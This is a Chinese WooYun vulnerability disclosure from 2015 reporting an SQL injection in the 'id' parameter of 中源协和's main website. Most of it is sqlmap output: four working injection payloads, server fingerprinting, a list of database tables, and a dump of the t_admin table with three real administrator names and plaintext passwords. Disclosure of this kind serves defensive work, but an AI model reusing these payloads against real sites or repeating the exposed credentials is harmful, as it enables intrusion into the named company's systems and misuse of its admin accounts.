漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0138687
漏洞标题：中源协和主站sql注入一枚
相关厂商：中源协和
漏洞作者： 路人甲
提交时间：2015-09-06 12:55
修复时间：2015-09-11 12:56
公开时间：2015-09-11 12:56
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-09-06： 细节已通知厂商并且等待厂商处理中
2015-09-11： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
大晚上的，好累。
详细说明：
参数id，估计这是个失误吧
报错注入。
厂商敢不敢大方点
漏洞证明：
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12 AND 3348=3348
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: id=12 AND (SELECT 6005 FROM(SELECT COUNT(*),CONCAT(0x71627a7671,(SE
LECT (ELT(6005=6005,1))),0x7170706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA
.CHARACTER_SETS GROUP BY x)a)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: id=12;(SELECT * FROM (SELECT(SLEEP(5)))XTwe)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=12 AND (SELECT * FROM (SELECT(SLEEP(5)))ASuB)
---
[20:27:34] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL 5.0
+-----------------------------+
| $x |
| gsgzs |
| jos_search_reports_customer |
| jos_search_reports_para |
| njbglist |
| qdnj |
| qnnj |
| qxnj |
| qznj |
| sqlmapfile |
| sqlmapoutput |
| t_academic |
| t_admin |
| t_annals |
| t_announcement |
| t_article |
| t_companyinfo |
| t_content |
| t_dashiji |
| t_log |
| t_medianews |
| t_message |
| t_news |
| t_staff |
| t_users |
| t_weblink |
| t_xiazai |
+-----------------------------+
Database: vcanbio_zhongyuanxiehe
Table: t_admin
[3 entries]
+-------+-------------+
| uname | UPassword |
+-------+-------------+
| 超级管理员 | hezeshengwu |
| 管理员 | 123456 |
| 王震东 | wzd |
+-------+-------------+
别的东西我可没动，换换密码吧，太弱了
【哈欠】图像自行脑补
修复方案：
1
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-09-11 12:56
厂商回复：
漏洞Rank：4 (WooYun评价)
最新状态：
暂无
漏洞评价：
评论
-
@日出东方 加进去是不会有系统提示的
( 普通白帽子 | 还没有发布任何漏洞 | 第1!绝对不意气用事!第2!绝对不漏判任何一...)